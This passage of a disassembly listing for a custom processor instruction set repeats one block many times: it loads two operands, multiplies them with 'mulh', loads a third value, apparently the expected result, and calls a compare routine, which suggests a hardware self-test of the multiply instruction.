140: 00 10 00 41 add r2,1
144: 0d 40 01 10 wl16 r8,0x10
148: 0d 60 01 03 wh16 r8,0x3
14c: 10 40 01 08 ld32 r8,r8
150: 0d 42 22 0c wl16 r16,0x110c
154: 0d 60 02 03 wh16 r16,0x3
158: 10 40 02 10 ld32 r16,r16
15c: 0d 44 41 28 wl16 r9,0x2208
160: 0d 60 01 23 wh16 r9,0x3
164: 10 40 01 29 ld32 r9,r9
168: 00 60 01 10 mulh r8,r16
16c: 20 70 03 e2 movepc rret,8
170: 14 30 ff a8 br 10 <compare>,#al
174: 00 10 00 41 add r2,1
178: 0d 40 01 14 wl16 r8,0x14
17c: 0d 60 01 03 wh16 r8,0x3
180: 10 40 01 08 ld32 r8,r8
184: 0d 42 22 10 wl16 r16,0x1110
188: 0d 60 02 03 wh16 r16,0x3
18c: 10 40 02 10 ld32 r16,r16
190: 0d 44 41 2c wl16 r9,0x220c
194: 0d 60 01 23 wh16 r9,0x3
198: 10 40 01 29 ld32 r9,r9
19c: 00 60 01 10 mulh r8,r16
1a0: 20 70 03 e2 movepc rret,8
1a4: 14 30 ff 9b br 10 <compare>,#al
1a8: 00 10 00 41 add r2,1
1ac: 0d 40 01 18 wl16 r8,0x18
1b0: 0d 60 01 03 wh16 r8,0x3
1b4: 10 40 01 08 ld32 r8,r8
1b8: 0d 42 22 14 wl16 r16,0x1114
1bc: 0d 60 02 03 wh16 r16,0x3
1c0: 10 40 02 10 ld32 r16,r16
1c4: 0d 44 41 30 wl16 r9,0x2210
1c8: 0d 60 01 23 wh16 r9,0x3
1cc: 10 40 01 29 ld32 r9,r9
1d0: 00 60 01 10 mulh r8,r16
1d4: 20 70 03 e2 movepc rret,8
1d8: 14 30 ff 8e br 10 <compare>,#al
1dc: 00 10 00 41 add r2,1
1e0: 0d 40 01 1c wl16 r8,0x1c
1e4: 0d 60 01 03 wh16 r8,0x3
1e8: 10 40 01 08 ld32 r8,r8
1ec: 0d 42 22 18 wl16 r16,0x1118
1f0: 0d 60 02 03 wh16 r16,0x3
1f4: 10 40 02 10 ld32 r16,r16
1f8: 0d 44 41 34 wl16 r9,0x2214
1fc: 0d 60 01 23 wh16 r9,0x3
200: 10 40 01 29 ld32 r9,r9
204: 00 60 01 10 mulh r8,r16
208: 20 70 03 e2 movepc rret,8
20c: 14 30 ff 81 br 10 <compare>,#al
210: 00 10 00 41 add r2,1
214: 0d 40 05 00 wl16 r8,0x20
218: 0d 60 01 03 wh16 r8,0x3
21c: 10 40 01 08 ld32 r8,r8
220: 0d 42 22 1c wl16 r16,0x111c
224: 0d 60 02 03 wh16 r16,0x3
228: 10 40 02 10 ld32 r16,r16
22c: 0d 44 41 38 wl16 r9,0x2218
230: 0d 60 01 23 wh16 r9,0x3
234: 10 40 01 29 ld32 r9,r9
238: 00 60 01 10 mulh r8,r16
23c: 20 70 03 e2 movepc rret,8
240: 14 30 ff 74 br 10 <compare>,#al
244: 00 10 00 41 add r2,1
248: 0d 40 05 04 wl16 r8,0x24
24c: 0d 60 01 03 wh16 r8,0x3
250: 10 40 01 08 ld32 r8,r8
254: 0d 42 26 00 wl16 r16,0x1120
258: 0d 60 02 03 wh16 r16,0x3
25c: 10 40 02 10 ld32 r16,r16
260: 0d 44 41 3c wl16 r9,0x221c
264: 0d 60 01 23 wh16 r9,0x3
268: 10 40 01 29 ld32 r9,r9
26c: 00 60 01 10 mulh r8,r16
270: 20 70 03 e2 movepc rret,8
274: 14 30 ff 67 br 10 <compare>,#al
278: 00 10 00 41 add r2,1
27c: 0d 40 05 08 wl16 r8,0x28
280: 0d 60 01 03 wh16 r8,0x3
284: 10 40 01 08 ld32 r8,r8
288: 0d 42 26 04 wl16 r16,0x1124
28c: 0d 60 02 03 wh16 r16,0x3
290: 10 40 02 10 ld32 r16,r16
294: 0d 44 45 20 wl16 r9,0x2220
298: 0d 60 01 23 wh16 r9,0x3
29c: 10 40 01 29 ld32 r9,r9
2a0: 00 60 01 10 mulh r8,r16
2a4: 20 70 03 e2 movepc rret,8
2a8: 14 30 ff 5a br 10 <compare>,#al
2ac: 00 10 00 41 add r2,1
2b0: 0d 40 05 0c wl16 r8,0x2c
2b4: 0d 60 01 03 wh16 r8,0x3
2b8: 10 40 01 08 ld32 r8,r8
2bc: 0d 42 26 08 wl16 r16,0x1128
2c0: 0d 60 02 03 wh16 r16,0x3
2c4: 10 40 02 10 ld32 r16,r16
2c8: 0d 44 45 24 wl16 r9,0x2224
2cc: 0d 60 01 23 wh16 r9,0x3
2d0: 10 40 01 29 ld32 r9,r9
2d4: 00 60 01 10 mulh r8,r16
2d8: 20 70 03 e2 movepc rret,8
2dc: 14 30 ff 4d br 10 <compare>,#al
2e0: 00 10 00 41 add r2,1
2e4: 0d 40 05 10 wl16 r8,0x30
2e8: 0d 60 01 03 wh16 r8,0x3
2ec: 10 40 01 08 ld32 r8,r8
2f0: 0d 42 26 0c wl16 r16,0x112c
2f4: 0d 60 02 03 wh16 r16,0x3
2f8: 10 40 02 10 ld32 r16,r16
2fc: 0d 44 45 28 wl16 r9,0x2228
300: 0d 60 01 23 wh16 r9,0x3
304: 10 40 01 29 ld32 r9,r9
308: 00 60 01 10 mulh r8,r16
30c: 20 70 03 e2 movepc rret,8
310: 14 30 ff 40 br 10 <compare>,#al
314: 00 10 00 41 add r2,1
318: 0d 40 05 14 wl16 r8,0x34
31c: 0d 60 01 03 wh16 r8,0x3
320: 10 40 01 08 ld32 r8,r8
324: 0d 42 26 10 wl16 r16,0x1130
328: 0d 60 02 03 wh16 r16,0x3
32c: 10 40 02 10 ld32 r16,r16
330: 0d 44 45 2c wl16 r9,0x222c
334: 0d 60 01 23 wh16 r9,0x3
338: 10 40 01 29 ld32 r9,r9
33c: 00 60 01 10 mulh r8,r16
340: 20 70 03 e2 movepc rret,8
344: 14 30 ff 33 br 10 <compare>,#al
348: 00 10 00 41 add r2,1
34c: 0d 40 05 18 wl16 r8,0x38
350: 0d 60 01 03 wh16 r8,0x3
354: 10 40 01 08 ld32 r8,r8
358: 0d 42 26 14 wl16 r16,0x1134
35c: 0d 60 02 03 wh16 r16,0x3
360: 10 40 02 10 ld32 r16,r16
364: 0d 44 45 30 wl16 r9,0x2230
368: 0d 60 01 23 wh16 r9,0x3
36c: 10 40 01 29 ld32 r9,r9
370: 00 60 01 10 mulh r8,r16
374: 20 70 03 e2 movepc rret,8
378: 14 30 ff 26 br 10 <compare>,#al
37c: 00 10 00 41 add r2,1
380: 0d 40 05 1c wl16 r8,0x3c
384: 0d 60 01 03 wh16 r8,0x3
388: 10 40 01 08 ld32 r8,r8
38c: 0d 42 26 18 wl16 r16,0x1138
390: 0d 60 02 03 wh16 r16,0x3
394: 10 40 02 10 ld32 r16,r16
398: 0d 44 45 34 wl16 r9,0x2234
39c: 0d 60 01 23 wh16 r9,0x3
3a0: 10 40 01 29 ld32 r9,r9
3a4: 00 60 01 10 mulh r8,r16
3a8: 20 70 03 e2 movepc rret,8
3ac: 14 30 ff 19 br 10 <compare>,#al
3b0: 00 10 00 41 add r2,1
3b4: 0d 40 09 00 wl16 r8,0x40
3b8: 0d 60 01 03 wh16 r8,0x3
3bc: 10 40 01 08 ld32 r8,r8
3c0: 0d 42 26 1c wl16 r16,0x113c
3c4: 0d 60 02 03 wh16 r16,0x3
3c8: 10 40 02 10 ld32 r16,r16
3cc: 0d 44 45 38 wl16 r9,0x2238
3d0: 0d 60 01 23 wh16 r9,0x3
3d4: 10 40 01 29 ld32 r9,r9
3d8: 00 60 01 10 mulh r8,r16
3dc: 20 70 03 e2 movepc rret,8
3e0: 14 30 ff 0c br 10 <compare>,#al
3e4: 00 10 00 41 add r2,1
3e8: 0d 40 09 04 wl16 r8,0x44
3ec: 0d 60 01 03 wh16 r8,0x3
3f0: 10 40 01 08 ld32 r8,r8
3f4: 0d 42 2a 00 wl16 r16,0x1140
3f8: 0d 60 02 03 wh16 r16,0x3
3fc: 10 40 02 10 ld32 r16,r16
400: 0d 44 45 3c wl16 r9,0x223c
404: 0d 60 01 23 wh16 r9,0x3
408: 10 40 01 29 ld32 r9,r9
40c: 00 60 01 10 mulh r8,r16
410: 20 70 03 e2 movepc rret,8
414: 14 30 fe ff br 10 <compare>,#al
418: 00 10 00 41 add r2,1
41c: 0d 40 09 08 wl16 r8,0x48
420: 0d 60 01 03 wh16 r8,0x3
424: 10 40 01 08 ld32 r8,r8
428: 0d 42 2a 04 wl16 r16,0x1144
42c: 0d 60 02 03 wh16 r16,0x3
430: 10 40 02 10 ld32 r16,r16
434: 0d 44 49 20 wl16 r9,0x2240
438: 0d 60 01 23 wh16 r9,0x3
43c: 10 40 01 29 ld32 r9,r9
440: 00 60 01 10 mulh r8,r16
444: 20 70 03 e2 movepc rret,8
448: 14 30 fe f2 br 10 <compare>,#al
44c: 00 10 00 41 add r2,1
450: 0d 40 09 0c wl16 r8,0x4c
454: 0d 60 01 03 wh16 r8,0x3
458: 10 40 01 08 ld32 r8,r8
45c: 0d 42 2a 08 wl16 r16,0x1148
460: 0d 60 02 03 wh16 r16,0x3
464: 10 40 02 10 ld32 r16,r16
468: 0d 44 49 24 wl16 r9,0x2244
46c: 0d 60 01 23 wh16 r9,0x3
470: 10 40 01 29 ld32 r9,r9
474: 00 60 01 10 mulh r8,r16
478: 20 70 03 e2 movepc rret,8
47c: 14 30 fe e5 br 10 <compare>,#al
480: 00 10 00 41 add r2,1
484: 0d 40 09 10 wl16 r8,0x50
488: 0d 60 01 03 wh16 r8,0x3
48c: 10 40 01 08 ld32 r8,r8
490: 0d 42 2a 0c wl16 r16,0x114c
494: 0d 60 02 03 wh16 r16,0x3
498: 10 40 02 10 ld32 r16,r16
49c: 0d 44 49 28 wl16 r9,0x2248
4a0: 0d 60 01 23 wh16 r9,0x3
4a4: 10 40 01 29 ld32 r9,r9
4a8: 00 60 01 10 mulh r8,r16
4ac: 20 70 03 e2 movepc rret,8
4b0: 14 30 fe d8 br 10 <compare>,#al
4b4: 00 10 00 41 add r2,1
4b8: 0d 40 09 14 wl16 r8,0x54
4bc: 0d 60 01 03 wh16 r8,0x3
4c0: 10 40 01 08 ld32 r8,r8
4c4: 0d 42 2a 10 wl16 r16,0x1150
4c8: 0d 60 02 03 wh16 r16,0x3
4cc: 10 40 02 10 ld32 r16,r16
4d0: 0d 44 49 2c wl16 r9,0x224c
4d4: 0d 60 01 23 wh16 r9,0x3
4d8: 10 40 01 29 ld32 r9,r9
4dc: 00 60 01 10 mulh r8,r16
4e0: 20 70 03 e2 movepc rret,8
4e4: 14 30 fe cb br 10 <compare>,#al
4e8: 00 10 00 41 add r2,1
4ec: 0d 40 09 18 wl16 r8,0x58
4f0: 0d 60 01 03 wh16 r8,0x3
4f4: 10 40 01 08 ld32 r8,r8
4f8: 0d 42 2a 14 wl16 r16,0x1154
4fc: 0d 60 02 03 wh16 r16,0x3
500: 10 40 02 10 ld32 r16,r16
504: 0d 44 49 30 wl16 r9,0x2250
508: 0d 60 01 23 wh16 r9,0x3
50c: 10 40 01 29 ld32 r9,r9
510: 00 60 01 10 mulh r8,r16
514: 20 70 03 e2 movepc rret,8
518: 14 30 fe be br 10 <compare>,#al
51c: 00 10 00 41 add r2,1
520: 0d 40 09 1c wl16 r8,0x5c
524: 0d 60 01 03 wh16 r8,0x3
528: 10 40 01 08 ld32 r8,r8
52c: 0d 42 2a 18 wl16 r16,0x1158
530: 0d 60 02 03 wh16 r16,0x3
534: 10 40 02 10 ld32 r16,r16
538: 0d 44 49 34 wl16 r9,0x2254
53c: 0d 60 01 23 wh16 r9,0x3
540: 10 40 01 29 ld32 r9,r9
544: 00 60 01 10 mulh r8,r16
548: 20 70 03 e2 movepc rret,8
54c: 14 30 fe b1 br 10 <compare>,#al
550: 00 10 00 41 add r2,1
554: 0d 40 0d 00 wl16 r8,0x60
558: 0d 60 01 03 wh16 r8,0x3
55c: 10 40 01 08 ld32 r8,r8
560: 0d 42 2a 1c wl16 r16,0x115c
564: 0d 60 02 03 wh16 r16,0x3
568: 10 40 02 10 ld32 r16,r16
56c: 0d 44 49 38 wl16 r9,0x2258
570: 0d 60 01 23 wh16 r9,0x3
574: 10 40 01 29 ld32 r9,r9
578: 00 60 01 10 mulh r8,r16
57c: 20 70 03 e2 movepc rret,8
580: 14 30 fe a4 br 10 <compare>,#al
584: 00 10 00 41 add r2,1
588: 0d 40 0d 04 wl16 r8,0x64
58c: 0d 60 01 03 wh16 r8,0x3
590: 10 40 01 08 ld32 r8,r8
594: 0d 42 2e 00 wl16 r16,0x1160
598: 0d 60 02 03 wh16 r16,0x3
59c: 10 40 02 10 ld32 r16,r16
5a0: 0d 44 49 3c wl16 r9,0x225c
5a4: 0d 60 01 23 wh16 r9,0x3
5a8: 10 40 01 29 ld32 r9,r9
5ac: 00 60 01 10 mulh r8,r16
5b0: 20 70 03 e2 movepc rret,8
5b4: 14 30 fe 97 br 10 <compare>,#al
5b8: 00 10 00 41 add r2,1
5bc: 0d 40 0d 08 wl16 r8,0x68
5c0: 0d 60 01 03 wh16 r8,0x3
5c4: 10 40 01 08 ld32 r8,r8
5c8: 0d 42 2e 04 wl16 r16,0x1164
5cc: 0d 60 02 03 wh16 r16,0x3
5d0: 10 40 02 10 ld32 r16,r16
5d4: 0d 44 4d 20 wl16 r9,0x2260
5d8: 0d 60 01 23 wh16 r9,0x3
5dc: 10 40 01 29 ld32 r9,r9
5e0: 00 60 01 10 mulh r8,r16
5e4: 20 70 03 e2 movepc rret,8
5e8: 14 30 fe 8a br 10 <compare>,#al
5ec: 00 10 00 41 add r2,1
5f0: 0d 40 0d 0c wl16 r8,0x6c
5f4: 0d 60 01 03 wh16 r8,0x3
5f8: 10 40 01 08 ld32 r8,r8
5fc: 0d 42 2e 08 wl16 r16,0x1168
600: 0d 60 02 03 wh16 r16,0x3
604: 10 40 02 10 ld32 r16,r16
608: 0d 44 4d 24 wl16 r9,0x2264
60c: 0d 60 01 23 wh16 r9,0x3
610: 10 40 01 29 ld32 r9,r9
614: 00 60 01 10 mulh r8,r16
618: 20 70 03 e2 movepc rret,8
61c: 14 30 fe 7d br 10 <compare>,#al
620: 00 10 00 41 add r2,1
624: 0d 40 0d 10 wl16 r8,0x70
628: 0d 60 01 03 wh16 r8,0x3
62c: 10 40 01 08 ld32 r8,r8
630: 0d 42 2e 0c wl16 r16,0x116c
634: 0d 60 02 03 wh16 r16,0x3
638: 10 40 02 10 ld32 r16,r16
63c: 0d 44 4d 28 wl16 r9,0x2268
640: 0d 60 01 23 wh16 r9,0x3
644: 10 40 01 29 ld32 r9,r9
648: 00 60 01 10 mulh r8,r16
64c: 20 70 03 e2 movepc rret,8
650: 14 30 fe 70 br 10 <compare>,#al
654: 00 10 00 41 add r2,1
658: 0d 40 0d 14 wl16 r8,0x74
65c: 0d 60 01 03 wh16 r8,0x3
660: 10 40 01 08 ld32 r8,r8
664: 0d 42 2e 10 wl16 r16,0x1170
668: 0d 60 02 03 wh16 r16,0x3
66c: 10 40 02 10 ld32 r16,r16
670: 0d 44 4d 2c wl16 r9,0x226c
674: 0d 60 01 23 wh16 r9,0x3
678: 10 40 01 29 ld32 r9,r9
67c: 00 60 01 10 mulh r8,r16
680: 20 70 03 e2 movepc rret,8
684: 14 30 fe 63 br 10 <compare>,#al
688: 00 10 00 41 add r2,1
68c: 0d 40 0d 18 wl16 r8,0x78
690: 0d 60 01 03 wh16 r8,0x3
694: 10 40 01 08 ld32 r8,r8
698: 0d 42 2e 14 wl16 r16,0x1174
69c: 0d 60 02 03 wh16 r16,0x3
6a0: 10 40 02 10 ld32 r16,r16
6a4: 0d 44 4d 30 wl16 r9,0x2270
6a8: 0d 60 01 23 wh16 r9,0x3
6ac: 10 40 01 29 ld32 r9,r9
6b0: 00 60 01 10 mulh r8,r16
6b4: 20 70 03 e2 movepc rret,8
6b8: 14 30 fe 56 br 10 <compare>,#al
6bc: 00 10 00 41 add r2,1
6c0: 0d 40 0d 1c wl16 r8,0x7c
6c4: 0d 60 01 03 wh16 r8,0x3
6c8: 10 40 01 08 ld32 r8,r8
6cc: 0d 42 2e 18 wl16 r16,0x1178
6d0: 0d 60 02 03 wh16 r16,0x3
6d4: 10 40 02 10 ld32 r16,r16
6d8: 0d 44 4d 34 wl16 r9,0x2274
6dc: 0d 60 01 23 wh16 r9,0x3
6e0: 10 40 01 29 ld32 r9,r9
6e4: 00 60 01 10 mulh r8,r16
6e8: 20 70 03 e2 movepc rret,8
6ec: 14 30 fe 49 br 10 <compare>,#al
6f0: 00 10 00 41 add r2,1
6f4: 0d 40 11 00 wl16 r8,0x80
6f8: 0d 60 01 03 wh16 r8,0x3
6fc: 10 40 01 08 ld32 r8,r8
700: 0d 42 2e 1c wl16 r16,0x117c
704: 0d 60 02 03 wh16 r16,0x3
708: 10 40 02 10 ld32 r16,r16
70c: 0d 44 4d 38 wl16 r9,0x2278
710: 0d 60 01 23 wh16 r9,0x3
714: 10 40 01 29 ld32 r9,r9
718: 00 60 01 10 mulh r8,r16
71c: 20 70 03 e2 movepc rret,8
720: 14 30 fe 3c br 10 <compare>,#al
724: 00 10 00 41 add r2,1
728: 0d 40 11 04 wl16 r8,0x84
72c: 0d 60 01 03 wh16 r8,0x3
730: 10 40 01 08 ld32 r8,r8
734: 0d 42 32 00 wl16 r16,0x1180
738: 0d 60 02 03 wh16 r16,0x3
73c: 10 40 02 10 ld32 r16,r16
740: 0d 44 4d 3c wl16 r9,0x227c
744: 0d 60 01 23 wh16 r9,0x3
748: 10 40 01 29 ld32 r9,r9
74c: 00 60 01 10 mulh r8,r16
750: 20 70 03 e2 movepc rret,8
754: 14 30 fe 2f br 10 <compare>,#al
758: 00 10 00 41 add r2,1
75c: 0d 40 11 08 wl16 r8,0x88
760: 0d 60 01 03 wh16 r8,0x3
764: 10 40 01 08 ld32 r8,r8
768: 0d 42 32 04 wl16 r16,0x1184
76c: 0d 60 02 03 wh16 r16,0x3
770: 10 40 02 10 ld32 r16,r16
774: 0d 44 51 20 wl16 r9,0x2280
778: 0d 60 01 23 wh16 r9,0x3
77c: 10 40 01 29 ld32 r9,r9
780: 00 60 01 10 mulh r8,r16
784: 20 70 03 e2 movepc rret,8
788: 14 30 fe 22 br 10 <compare>,#al
78c: 00 10 00 41 add r2,1
790: 0d 40 11 0c wl16 r8,0x8c
794: 0d 60 01 03 wh16 r8,0x3
798: 10 40 01 08 ld32 r8,r8
79c: 0d 42 32 08 wl16 r16,0x1188
7a0: 0d 60 02 03 wh16 r16,0x3
7a4: 10 40 02 10 ld32 r16,r16
7a8: 0d 44 51 24 wl16 r9,0x2284
7ac: 0d 60 01 23 wh16 r9,0x3
7b0: 10 40 01 29 ld32 r9,r9
7b4: 00 60 01 10 mulh r8,r16
7b8: 20 70 03 e2 movepc rret,8
7bc: 14 30 fe 15 br 10 <compare>,#al
7c0: 00 10 00 41 add r2,1
7c4: 0d 40 11 10 wl16 r8,0x90
7c8: 0d 60 01 03 wh16 r8,0x3
7cc: 10 40 01 08 ld32 r8,r8
7d0: 0d 42 32 0c wl16 r16,0x118c
7d4: 0d 60 02 03 wh16 r16,0x3
7d8: 10 40 02 10 ld32 r16,r16
7dc: 0d 44 51 28 wl16 r9,0x2288
7e0: 0d 60 01 23 wh16 r9,0x3
7e4: 10 40 01 29 ld32 r9,r9
7e8: 00 60 01 10 mulh r8,r16
7ec: 20 70 03 e2 movepc rret,8
7f0: 14 30 fe 08 br 10 <compare>,#al
7f4: 00 10 00 41 add r2,1
7f8: 0d 40 11 14 wl16 r8,0x94
7fc: 0d 60 01 03 wh16 r8,0x3
800: 10 40 01 08 ld32 r8,r8
804: 0d 42 32 10 wl16 r16,0x1190
808: 0d 60 02 03 wh16 r16,0x3
80c: 10 40 02 10 ld32 r16,r16
810: 0d 44 51 2c wl16 r9,0x228c
814: 0d 60 01 23 wh16 r9,0x3
818: 10 40 01 29 ld32 r9,r9
81c: 00 60 01 10 mulh r8,r16
820: 20 70 03 e2 movepc rret,8
824: 14 30 fd fb br 10 <compare>,#al
828: 00 10 00 41 add r2,1
82c: 0d 40 11 18 wl16 r8,0x98
830: 0d 60 01 03 wh16 r8,0x3
834: 10 40 01 08 ld32 r8,r8
838: 0d 42 32 14 wl16 r16,0x1194
83c: 0d 60 02 03 wh16 r16,0x3
840: 10 40 02 10 ld32 r16,r16
844: 0d 44 51 30 wl16 r9,0x2290
848: 0d 60 01 23 wh16 r9,0x3
84c: 10 40 01 29 ld32 r9,r9
850: 00 60 01 10 mulh r8,r16
854: 20 70 03 e2 movepc rret,8
858: 14 30 fd ee br 10 <compare>,#al
85c: 00 10 00 41 add r2,1
860: 0d 40 11 1c wl16 r8,0x9c
864: 0d 60 01 03 wh16 r8,0x3
868: 10 40 01 08 ld32 r8,r8
86c: 0d 42 32 18 wl16 r16,0x1198
870: 0d 60 02 03 wh16 r16,0x3
874: 10 40 02 10 ld32 r16,r16
878: 0d 44 51 34 wl16 r9,0x2294
87c: 0d 60 01 23 wh16 r9,0x3
880: 10 40 01 29 ld32 r9,r9
884: 00 60 01 10 mulh r8,r16
888: 20 70 03 e2 movepc rret,8
88c: 14 30 fd e1 br 10 <compare>,#al
890: 00 10 00 41 add r2,1
894: 0d 40 15 00 wl16 r8,0xa0
898: 0d 60 01 03 wh16 r8,0x3
89c: 10 40 01 08 ld32 r8,r8
8a0: 0d 42 32 1c wl16 r16,0x119c
8a4: 0d 60 02 03 wh16 r16,0x3
8a8: 10 40 02 10 ld32 r16,r16
8ac: 0d 44 51 38 wl16 r9,0x2298
8b0: 0d 60 01 23 wh16 r9,0x3
8b4: 10 40 01 29 ld32 r9,r9
8b8: 00 60 01 10 mulh r8,r16
8bc: 20 70 03 e2 movepc rret,8
8c0: 14 30 fd d4 br 10 <compare>,#al
8c4: 00 10 00 41 add r2,1
8c8: 0d 40 15 04 wl16 r8,0xa4
8cc: 0d 60 01 03 wh16 r8,0x3
8d0: 10 40 01 08 ld32 r8,r8
8d4: 0d 42 36 00 wl16 r16,0x11a0
8d8: 0d 60 02 03 wh16 r16,0x3
8dc: 10 40 02 10 ld32 r16,r16
8e0: 0d 44 51 3c wl16 r9,0x229c
8e4: 0d 60 01 23 wh16 r9,0x3
8e8: 10 40 01 29 ld32 r9,r9
8ec: 00 60 01 10 mulh r8,r16
8f0: 20 70 03 e2 movepc rret,8
8f4: 14 30 fd c7 br 10 <compare>,#al
8f8: 00 10 00 41 add r2,1
8fc: 0d 40 15 08 wl16 r8,0xa8
900: 0d 60 01 03 wh16 r8,0x3
904: 10 40 01 08 ld32 r8,r8
908: 0d 42 36 04 wl16 r16,0x11a4
90c: 0d 60 02 03 wh16 r16,0x3
910: 10 40 02 10 ld32 r16,r16
914: 0d 44 55 20 wl16 r9,0x22a0
918: 0d 60 01 23 wh16 r9,0x3
91c: 10 40 01 29 ld32 r9,r9
920: 00 60 01 10 mulh r8,r16
924: 20 70 03 e2 movepc rret,8
928: 14 30 fd ba br 10 <compare>,#al
92c: 00 10 00 41 add r2,1
930: 0d 40 15 0c wl16 r8,0xac
934: 0d 60 01 03 wh16 r8,0x3
938: 10 40 01 08 ld32 r8,r8
93c: 0d 42 36 08 wl16 r16,0x11a8
940: 0d 60 02 03 wh16 r16,0x3
944: 10 40 02 10 ld32 r16,r16
948: 0d 44 55 24 wl16 r9,0x22a4
94c: 0d 60 01 23 wh16 r9,0x3
950: 10 40 01 29 ld32 r9,r9
954: 00 60 01 10 mulh r8,r16
958: 20 70 03 e2 movepc rret,8
95c: 14 30 fd ad br 10 <compare>,#al
960: 00 10 00 41 add r2,1
964: 0d 40 15 10 wl16 r8,0xb0
968: 0d 60 01 03 wh16 r8,0x3
96c: 10 40 01 08 ld32 r8,r8
970: 0d 42 36 0c wl16 r16,0x11ac
974: 0d 60 02 03 wh16 r16,0x3
978: 10 40 02 10 ld32 r16,r16
97c: 0d 44 55 28 wl16 r9,0x22a8
980: 0d 60 01 23 wh16 r9,0x3
984: 10 40 01 29 ld32 r9,r9
988: 00 60 01 10 mulh r8,r16
98c: 20 70 03 e2 movepc rret,8
990: 14 30 fd a0 br 10 <compare>,#al
994: 00 10 00 41 add r2,1
998: 0d 40 15 14 wl16 r8,0xb4
99c: 0d 60 01 03 wh16 r8,0x3
9a0: 10 40 01 08 ld32 r8,r8
9a4: 0d 42 36 10 wl16 r16,0x11b0
9a8: 0d 60 02 03 wh16 r16,0x3
9ac: 10 40 02 10 ld32 r16,r16
9b0: 0d 44 55 2c wl16 r9,0x22ac
9b4: 0d 60 01 23 wh16 r9,0x3
9b8: 10 40 01 29 ld32 r9,r9
9bc: 00 60 01 10 mulh r8,r16
9c0: 20 70 03 e2 movepc rret,8
9c4: 14 30 fd 93 br 10 <compare>,#al
9c8: 00 10 00 41 add r2,1
9cc: 0d 40 15 18 wl16 r8,0xb8
9d0: 0d 60 01 03 wh16 r8,0x3
9d4: 10 40 01 08 ld32 r8,r8
9d8: 0d 42 36 14 wl16 r16,0x11b4
9dc: 0d 60 02 03 wh16 r16,0x3
9e0: 10 40 02 10 ld32 r16,r16
9e4: 0d 44 55 30 wl16 r9,0x22b0
9e8: 0d 60 01 23 wh16 r9,0x3
9ec: 10 40 01 29 ld32 r9,r9
9f0: 00 60 01 10 mulh r8,r16
9f4: 20 70 03 e2 movepc rret,8
9f8: 14 30 fd 86 br 10 <compare>,#al
9fc: 00 10 00 41 add r2,1
a00: 0d 40 15 1c wl16 r8,0xbc
a04: 0d 60 01 03 wh16 r8,0x3
a08: 10 40 01 08 ld32 r8,r8
a0c: 0d 42 36 18 wl16 r16,0x11b8
a10: 0d 60 02 03 wh16 r16,0x3
a14: 10 40 02 10 ld32 r16,r16
a18: 0d 44 55 34 wl16 r9,0x22b4
a1c: 0d 60 01 23 wh16 r9,0x3
a20: 10 40 01 29 ld32 r9,r9
a24: 00 60 01 10 mulh r8,r16
a28: 20 70 03 e2 movepc rret,8
a2c: 14 30 fd 79 br 10 <compare>,#al
a30: 00 10 00 41 add r2,1
a34: 0d 40 19 00 wl16 r8,0xc0
a38: 0d 60 01 03 wh16 r8,0x3
a3c: 10 40 01 08 ld32 r8,r8
a40: 0d 42 36 1c wl16 r16,0x11bc
a44: 0d 60 02 03 wh16 r16,0x3
a48: 10 40 02 10 ld32 r16,r16
a4c: 0d 44 55 38 wl16 r9,0x22b8
a50: 0d 60 01 23 wh16 r9,0x3
a54: 10 40 01 29 ld32 r9,r9
a58: 00 60 01 10 mulh r8,r16
a5c: 20 70 03 e2 movepc rret,8
a60: 14 30 fd 6c br 10 <compare>,#al
a64: 00 10 00 41 add r2,1
a68: 0d 40 19 04 wl16 r8,0xc4
a6c: 0d 60 01 03 wh16 r8,0x3
a70: 10 40 01 08 ld32 r8,r8
a74: 0d 42 3a 00 wl16 r16,0x11c0
a78: 0d 60 02 03 wh16 r16,0x3
a7c: 10 40 02 10 ld32 r16,r16
a80: 0d 44 55 3c wl16 r9,0x22bc
a84: 0d 60 01 23 wh16 r9,0x3
a88: 10 40 01 29 ld32 r9,r9
a8c: 00 60 01 10 mulh r8,r16
a90: 20 70 03 e2 movepc rret,8
a94: 14 30 fd 5f br 10 <compare>,#al
a98: 00 10 00 41 add r2,1
a9c: 0d 40 19 08 wl16 r8,0xc8
aa0: 0d 60 01 03 wh16 r8,0x3
aa4: 10 40 01 08 ld32 r8,r8
aa8: 0d 42 3a 04 wl16 r16,0x11c4
aac: 0d 60 02 03 wh16 r16,0x3
ab0: 10 40 02 10 ld32 r16,r16
ab4: 0d 44 59 20 wl16 r9,0x22c0
ab8: 0d 60 01 23 wh16 r9,0x3
abc: 10 40 01 29 ld32 r9,r9
ac0: 00 60 01 10 mulh r8,r16
ac4: 20 70 03 e2 movepc rret,8
ac8: 14 30 fd 52 br 10 <compare>,#al
acc: 00 10 00 41 add r2,1
ad0: 0d 40 19 0c wl16 r8,0xcc
ad4: 0d 60 01 03 wh16 r8,0x3
ad8: 10 40 01 08 ld32 r8,r8
adc: 0d 42 3a 08 wl16 r16,0x11c8
ae0: 0d 60 02 03 wh16 r16,0x3
ae4: 10 40 02 10 ld32 r16,r16
ae8: 0d 44 59 24 wl16 r9,0x22c4
aec: 0d 60 01 23 wh16 r9,0x3
af0: 10 40 01 29 ld32 r9,r9
af4: 00 60 01 10 mulh r8,r16
af8: 20 70 03 e2 movepc rret,8
afc: 14 30 fd 45 br 10 <compare>,#al
b00: 00 10 00 41 add r2,1
b04: 0d 40 19 10 wl16 r8,0xd0
b08: 0d 60 01 03 wh16 r8,0x3
b0c: 10 40 01 08 ld32 r8,r8
b10: 0d 42 3a 0c wl16 r16,0x11cc
b14: 0d 60 02 03 wh16 r16,0x3
b18: 10 40 02 10 ld32 r16,r16
b1c: 0d 44 59 28 wl16 r9,0x22c8
b20: 0d 60 01 23 wh16 r9,0x3
b24: 10 40 01 29 ld32 r9,r9
b28: 00 60 01 10 mulh r8,r16
b2c: 20 70 03 e2 movepc rret,8
b30: 14 30 fd 38 br 10 <compare>,#al
b34: 00 10 00 41 add r2,1
b38: 0d 40 19 14 wl16 r8,0xd4
b3c: 0d 60 01 03 wh16 r8,0x3
b40: 10 40 01 08 ld32 r8,r8
b44: 0d 42 3a 10 wl16 r16,0x11d0
b48: 0d 60 02 03 wh16 r16,0x3
b4c: 10 40 02 10 ld32 r16,r16
b50: 0d 44 59 2c wl16 r9,0x22cc
b54: 0d 60 01 23 wh16 r9,0x3
b58: 10 40 01 29 ld32 r9,r9
b5c: 00 60 01 10 mulh r8,r16
b60: 20 70 03 e2 movepc rret,8
b64: 14 30 fd 2b br 10 <compare>,#al
b68: 00 10 00 41 add r2,1
b6c: 0d 40 19 18 wl16 r8,0xd8
b70: 0d 60 01 03 wh16 r8,0x3
